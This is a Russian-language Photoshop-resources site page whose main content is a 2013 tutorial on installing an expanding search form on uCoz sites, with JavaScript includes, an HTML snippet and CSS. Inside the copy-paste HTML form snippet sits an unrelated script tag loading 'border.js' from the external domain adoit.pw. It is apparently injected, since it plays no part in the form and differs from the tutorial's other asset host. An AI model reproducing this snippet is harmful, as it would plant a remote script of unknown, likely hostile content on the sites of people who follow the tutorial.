Добро пожаловать в прекрасный мир фотошопа! Здесь можно скачать бесплатно без регистрации только лучшее для Photoshop - кисти, стили, текстуры, градиенты, рамочки, футажи, разнообразные фоны для коллажей и многое другое... :)
Меню сайта

Категории
Скачать Фотошоп
Кисти
Стили
Текстуры, заливки
Фоны, обои
Клипарт
Градиенты
Шаблоны, рамки
PSD Исходники
Экшены
Плагины
Фигуры
Скрап наборы
Шрифты
Вектор
Футажи
Уроки Фотошоп
Программы
Арт, Живопись, Картинки
Анимация
Скрипты для Ucoz

Фото в рамку

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Яндекс цитирования

Форма входа

Наш баннер
    Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.

    Ваш Дизайн



    I'm on deviantART

    Мы всегда рады Вам

      ---

        Популярное
        Женская рамка - Летнее настроение, светло зелёный фон
        Женская рамка - Летнее настроение, светло зелёный фон
        Рамка для фотошопа - А я сама придумала тебя
        Рамка для фотошопа - А я сама придумала тебя
        Романтическая рамка с сердцем - Сегодня есть особая причина...
        Романтическая рамка с сердцем - Сегодня есть особая причина...
        Steel Shadows — After Effects Project(Videohive)
        Steel Shadows — After Effects Project(Videohive)
        VideoHive Spooky Maze — After Effects Project
        VideoHive Spooky Maze — After Effects Project
        Детский шаблон для фотошопа - Сиди тихо
        Детский шаблон для фотошопа - Сиди тихо
        Юбилейный календарь с вашим фото
        Юбилейный календарь с вашим фото
        Скрап-набор для фотошопа - Весенний
        Скрап-набор для фотошопа - Весенний
        Обои на рабочий стол - Архитекрура города в 3D
        Обои на рабочий стол - Архитекрура города в 3D
        Набор женских шаблонов для фотошопа - Гламур 7
        Набор женских шаблонов для фотошопа - Гламур 7

        Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz
        14:27
        Создаём раздвижную форму поиска для uCoz
        Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

        Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

        И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

        Код
        <script src="http://pnghosts.ru/js_css/classie.js"></script>
        <script src="http://pnghosts.ru/js_css/uisearch.js"></script>
        <script>
          new UISearch( document.getElementById( 'sb-search' ) );
        </script>


        Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

        Код
        <!-- Поиск по сайту -->  
          <div id="sb-search" class="sb-search">
          <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
          <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
          <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
          </form>  
          </div>  
          <!-- /Поиск по сайту -->


        Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

        Код
        /* Раздвижная форма поиска для uCoz
        ------------------------------------------*/
        .sb-search {
          position: relative;
          margin-top: 10px;
          width: 0%;
          min-width: 32px;
          height: 32px;
          float: right;
          overflow: hidden;
           
          -webkit-transition: width 0.3s;
          -moz-transition: width 0.3s;
          transition: width 0.3s;
          -webkit-backface-visibility: hidden;
        }

        .sb-search-input {
          position: absolute;
          top: 0;
          right: 0;
           
          margin: 0;
          z-index: 10;
          width:300px;
          height: 20px;
          outline: none;
          background: #fff;  
          border: 1px solid #CAD3DA;  
          padding: 5px 32px 5px 20px;
           
          font:11px Verdana,Arial,Helvetica, sans-serif;
          color:#555;  
          border-radius:3px 0px 0px 3px;  
        }

        .sb-search-input::-webkit-input-placeholder {
          color: #efb480;
        }

        .sb-search-input:-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input::-moz-placeholder {
          color: #efb480;
        }

        .sb-search-input:-ms-input-placeholder {
          color: #efb480;
        }

        .sb-icon-search,
        .sb-search-submit {
          position: absolute;
          right: 0;
          top: 0;
          margin: 0;
           
          width: 32px;
          height: 32px;
          display: block;

          line-height: 30px;
          text-align: center;
          cursor: pointer;
        }

        .sb-search-submit {
          background: #fff;
          color: transparent;
          border: none;
          outline: none;
          z-index: -1;
          -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
          filter: alpha(opacity=0);  
          opacity: 0;  
        }

        .sb-icon-search {
          border:none;  
          z-index: 90;
          background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          -webkit-font-smoothing: antialiased;
          border-radius:3px 3px 3px 3px;  
        }

        .sb-icon-search:before {
          content: "\e000";
        }

        .sb-search.sb-search-open,
        .no-js .sb-search {
          width: 100%;
        }

        .sb-search.sb-search-open .sb-icon-search,
        .no-js .sb-search .sb-icon-search {
          background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
          z-index: 11;
          border-radius:0px 3px 3px 0px;  
        }

        .sb-search.sb-search-open .sb-search-submit,
        .no-js .sb-search .sb-search-submit {
          z-index: 90;
        }


        На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

        Спасибо за внимание!
        Категория: Скрипты для Ucoz | Просмотров: 612 | Добавил: DoG | Рейтинг: 0.0/0
        Всего комментариев: 0
        Добавлять комментарии могут только зарегистрированные пользователи.
        [ Регистрация | Вход ]
        Поделиться

        Поиск

        Новогодние рамки

          Календарь

          Архив записей

          Мини профиль
            Понедельник
            28.07.2025
            19:53

            [ Управление профилем ]

            Друзья сайта
             DiZona – все для Photoshop
             Стиль Photoshop
             Фотошо+Я
            I'm on deviantART

            Новости сайта
            Арбузы – клипарт на прозрачном фоне в Png
            Арбузы – клипарт на прозрачном фоне в Png
            Скачать Мужская рамка - Девушка у рояля
            Скачать Мужская рамка - Девушка у рояля
            Шаблон для фотографий - Мальчик с велосипедом
            Шаблон для фотографий - Мальчик с велосипедом
            Шаблоны psd женские - девушки и авто
            Шаблоны psd женские - девушки и авто
            футажи свадебные  - Красивая свадьба
            футажи свадебные - Красивая свадьба
            Скачать Календарь на 2012 год - Фея Динь-динь
            Скачать Календарь на 2012 год - Фея Динь-динь
            Fantasy Island — After Effects Project
            Fantasy Island — After Effects Project
            Клипарт – Подарю тебе я нежный белый ласковый цветок
            Клипарт – Подарю тебе я нежный белый ласковый цветок
            Красивая рамка для фотошопа - Утону в твоих глазах
            Красивая рамка для фотошопа - Утону в твоих глазах
            Свадебная рамка для фото – С Днем сочетанья любящих сердец, Семьи Созданья
            Свадебная рамка для фото – С Днем сочетанья любящих сердец, Семьи Созданья

            Шаблоны для фотомонтажа Шаблоны для фотомонтажа
            "Professional"

            - Костюмы
            - Календари
            - Виньетки
            - Обложки на DVD
            - Рамки
            - Клипарты
            - Коллажи


            Copyright MyCorp © 2025
            Создать бесплатный сайт с uCoz